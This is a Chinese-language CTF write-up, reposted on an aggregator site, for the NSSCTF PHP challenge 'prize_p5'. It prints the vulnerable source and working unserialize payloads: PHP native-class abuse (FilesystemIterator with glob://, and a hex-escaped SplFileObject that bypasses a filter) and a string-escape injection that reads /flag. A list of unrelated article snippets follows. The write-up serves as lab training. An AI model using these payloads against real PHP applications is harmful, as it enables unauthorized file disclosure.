[NSSCTF]prize_p5

前言

之前就学过反序列化的字符串逃逸

但是没怎么做题

补一下窟窿

题目

 <?phperror_reporting(0);class catalogue{public $class;public $data;public function __construct(){$this->class = "error";$this->data = "hacker";}public function __destruct(){echo new $this->class($this->data);}}class error{public function __construct($OTL){$this->OTL = $OTL;echo ("hello " . $this->OTL);}}class escape{public $name = 'OTL';public $phone = '123666';public $email = 'sweet@OTL.com';}function abscond($string){$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');$filter = '/' . implode('|', $filter) . '/i';return preg_replace($filter, 'hacker', $string);}if (isset($_GET['cata'])) {if (!preg_match('/object/i', $_GET['cata'])) {unserialize($_GET['cata']);} else {$cc = new catalogue();unserialize(serialize($cc));}if (isset($_POST['name']) && isset($_POST['phone']) && isset($_POST['email'])) {if (preg_match("/flag/i", $_POST['email'])) {die("nonono,you can not do that!");}$abscond = new escape();$abscond->name = $_POST['name'];$abscond->phone = $_POST['phone'];$abscond->email = $_POST['email'];$abscond = serialize($abscond);$escape = get_object_vars(unserialize(abscond($abscond)));if (is_array($escape['phone'])) {echo base64_encode(file_get_contents($escape['email']));} else {echo "I'm sorry to tell you that you are wrong";}}} else {highlight_file(__FILE__);}?> 

思路

看到字符串逃逸

这题的关键应该是在这里

得到flag的触发点应该是在这里

但是

不知道flag在的文件名是啥

思路就断了

这里还允许我们get传个参数

看看能干嘛

这里找到可变参数

class的值可以自定义

并且通过data穿参

这样通过构造就能命令执行

这里看别人的wp

要用到PHP原生类函数 浅析PHP原生类 - 知乎

这里用FilesystemIterator这个迭代器读取跟目录的值

先构造一下试试

<?php
error_reporting(0);class catalogue
{public $class = 'FilesystemIterator';public $data = '/';}class escape
{public $name = 'OTL';public $phone = '123666';public $email = 'sweet@OTL.com';
}$a = new catalogue;
$b = new error;
$c = new escape;
echo serialize($a);

O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:1:"/";}

只有sys

看别人的wp得到这里要用glob协议找到flag文件

glob协议的用法:

glob:// - 开发帮助文档

O:9:"catalogue":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"data";s:11:"glob:///fl*";}

找到flag

在根目录下有一个flag文件,那么可不可以用一个原生类来读呢?是有的

可以利用SplFileObject这个原生类,但是对object进行了过滤,这里需要使用到反序列化的小知识点:

方便数据的传输,反序列化内容中大写的S表示字符串,可以识别内容里的十六进制
O:9:"catalogue":2:{s:5:"class";S:13:"SplFileO\62ject";s:4:"data";s:5:"/flag";}

这是一个非预期解 主要用到php原生函数的学习

预期解还是要用字符串逃逸

这里对三个post的值有两个限制

一个是email的值不能有/flag

一个是phone的值为数组

我们先构造一下

O:6:"escape":3:{s:4:"name";s:5:"/flag";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}

我们可以通过字符串逃逸构造name的值为xxx+“";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}”

最后的payload为

name=NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShello";s:5:"phone";a:1:{i:0;s:2:"aa";}s:5:"email";s:5:"/flag";}&phone=123&email=111

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/3791.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ali-Sentinel-链路控制

归档 GitHub: Ali-Sentinel-链路控制 链结构 参考&#xff1a;入口控制-处理链 具体实现 NodeSelectorSlot 给上下文设置统计节点 com.alibaba.csp.sentinel.slots.nodeselector.NodeSelectorSlot Spi(isSingleton false, order Constants.ORDER_NODE_SELECTOR_SLOT)…

2023-2024年度广东省职业院校学生技能大赛“ 网络系统管理”赛项竞赛规程(正式稿)

2023-2024年度广东省职业院校学生技能大赛“ 网络系统管理”赛项竞赛规程&#xff08;正式稿&#xff09; 信息安全管理与评估 网络系统管理 网络搭建与应用 云计算 软件测试 移动应用开发 任务书&#xff0c;赛题&#xff0c;解析等资料&#xff0c;知识点培训服务 添加博主wx…

Python 中的下划线变量

Python 中的下划线变量 _name: 这是一种约定俗成的方式&#xff0c;表示这是一个私有变量&#xff0c;意味着它应该在类的内部使用&#xff0c;而不应该直接从外部访问。但实际上&#xff0c;Python并没有严格的私有化机制&#xff0c;这只是一种约定&#xff0c;因为外部仍然可…

Nginx高级配置与重写规则详解:从入门到实践

摘要: 本文将深入探讨Nginx的高级配置与重写规则,通过实际案例讲解如何优化Nginx的配置,实现URL重写、负载均衡、缓存优化等功能。文章旨在帮助读者更好地理解和应用Nginx,提升网站性能和用户体验。 一、Nginx简介 Nginx是一款高性能的HTTP和反向代理服务器,也是IMAP/POP…

代码随想录训练营day43

第九章 动态规划 part05 1.LeetCode. 最后一块石头的重量 II 1.1题目链接&#xff1a;1049.最后一块石头的重量II 文章讲解&#xff1a;代码随想录 视频讲解&#xff1a;B站卡哥视频 1.2思路&#xff1a;本题其实就是尽量让石头分成重量相同的两堆&#xff0c;相撞之后剩下…

【嵌入式DIY实例】-RFID门禁系统

DIY RFID门禁系统 文章目录 DIY RFID门禁系统1、RFID RC522介绍2、硬件准备与接线2、代码实现RFID(Radio Frequency Identification)简称为射频识别。 在本文中,将演示如何使用这项技术来实现门安全系统。 1、RFID RC522介绍 RFID rc522是一种基于射频的模块,其感应范围接…

Java中的多线程编程与并发控制

Java中的多线程编程与并发控制 一、引言 随着计算机硬件技术的不断发展&#xff0c;多核处理器已经成为现代计算机系统的标配。在这样的背景下&#xff0c;多线程编程与并发控制成为了Java开发中不可或缺的一部分。多线程编程能够充分利用多核处理器的并行计算能力&#xff0…

嵌入式软件工程师要会画板子吗?

答案:要 作为嵌入式软件工程师,本来就经常和硬件打交道。调试各种协议也要看波形,用示波器什么的。软件玩多了也会腻,可以玩玩硬件,自己从 0 做出一个东西的感觉是不一样的。职业生涯那么长,多尝试一些总是好的,一个软硬件都懂的人,才能更好的带项目。 博主玩过很多板…

个人学习-前端相关(1):ECMAScript 6-变量、模板字符串、解构表达式

前言 由于最近公司有接到一些小程序或者app相关的内容&#xff0c;可能考虑要做一些样例供参考。虽然在20年短暂学习和使用过vue2&#xff0c;但由于时间久远且技术发展太快&#xff0c;需要对一些旧知识进行巩固&#xff0c;新的内容进行学习。 ECMAScript 6简介 ECMAScrip…

设置Linux开发板开机自启动QT程序的报错解决办法

设置Linux开发板开机自启动QT程序报错解决办法 设置开发板开机自启动QT 打开 /etc/init.d/rsC 文件&#xff0c;添加以下内容 cd / ./my_start_run.shmy_start_run.sh 是自己编写的自启动脚本&#xff0c;内容例如下&#xff1a;(也可以将这些直接写到 /etc/init.d/rsC 文件…

C#算法之归并排序

算法释义&#xff1a;归并排序是一种分治算法&#xff0c;它采用分而治之的策略&#xff0c;将待排序的数组分成更小的部分&#xff0c;递归地对这些部分进行排序&#xff0c;然后将排序好的部分合并起来。它是一种比较稳定的排序算法。排序过程总结如下&#xff1a; 1、分解&a…

请编写一个函数void fun(char *tt,int pp[]),统计在tt字符串中“a”到“z”26个字母各自出现的次数,并依次放在pp所指数组中。

本文收录于专栏:算法之翼 https://blog.csdn.net/weixin_52908342/category_10943144.html 订阅后本专栏全部文章可见。 本文含有题目的题干、解题思路、解题思路、解题代码、代码解析。本文分别包含C语言、C++、Java、Python四种语言的解法和详细的解析。 题干 请编写一个函…

Python基础11-字符串处理

连接字符串 要将字符串连接在一起&#xff1a; greeting "Hello" name "Alice" message greeting ", " name "!" print(message)使用 str.format 进行字符串格式化 要将值插入字符串模板&#xff1a; message "{}, {}…

快来把wordpress图片放到免费的cloudflare R2上去

网站一直是用的wordpress&#xff0c;做了几年uploads下的图片已经大到了几十GB单位&#xff0c;VPS也一路升级&#xff0c;吃不消啊吃不消。 一直在想有什么办法能解决下这一大堆图片&#xff0c;网站逛了一圈发现cloudflare的R2有10G免费空间&#xff0c;而且本来就用的他家的…

Day17.一刷数据结构算法(C语言版) 654最大二叉树;617合并二叉树;700二叉搜索树中的搜索;98验证二叉搜索树

又是破防的一天...... 一.654最大二叉树 又是构造二叉树&#xff0c;昨天大家刚刚做完 中序后序确定二叉树&#xff0c;今天做这个 应该会容易一些&#xff0c; 先看视频&#xff0c;好好体会一下 为什么构造二叉树都是 前序遍历 题目链接&#xff1a;最大二叉树 文章讲解&…

Django框架之原始web框架优化

一、web应用框架简介及手撸web框架 软件开发架构详细&#xff1a;网络编程之网络架构及其趋势 - Xiao0101 - 博客园 (cnblogs.com) 软件开发架构分为两种&#xff1a; c/s架构&#xff1a;客户端软件(client)—服务端软件(server)b/s架构 &#xff1a;浏览器(Browser)------…

电子负载仪的远端控制

前言 最近研究了电子负载仪的远端控制&#xff08;区别于前面板控制&#xff09;&#xff0c;主要是用于程序控制&#xff0c;避免繁琐复杂的人工控制&#xff0c;举了南京嘉拓和艾维泰科的例子。 有纰漏请指出&#xff0c;转载请说明。 学习交流请发邮件 1280253714qq.com …

今日arXiv最热大模型论文:大模型也来看球,还能判断是否犯规

在足球世界&#xff0c;裁判的哨声可谓“千金难买”&#xff0c;因为它能直接决定俱乐部的钱包是鼓是瘪。但球场变化莫测&#xff0c;非常考验裁判的水平。 2022年卡塔尔世界杯上&#xff0c;半自动越位识别技术&#xff08;SAOT&#xff09;闪亮登场&#xff0c;通过12台摄像…

APP推广防作弊策略

背景 为保障下载、使用数量&#xff0c;APP厂商通常会投巨资给第三方渠道&#xff0c;用以推广宣传吸纳更多用户。在这一过程中&#xff0c;见有利可图的内鬼、羊毛党、刷量中介等则会趁势而入&#xff0c;成为刷量推广数据造假的中坚。据一本财经报道称&#xff0c;过千万流量…

企业微信私有化部署对接oauth2.0

1.添加依赖&#xff1a;JustAuth <dependency><groupId>me.zhyd.oauth</groupId><artifactId>JustAuth</artifactId><version>1.16.6</version> </dependency> 2.添加 ElephantAuthSource.java package com.elephant.devop…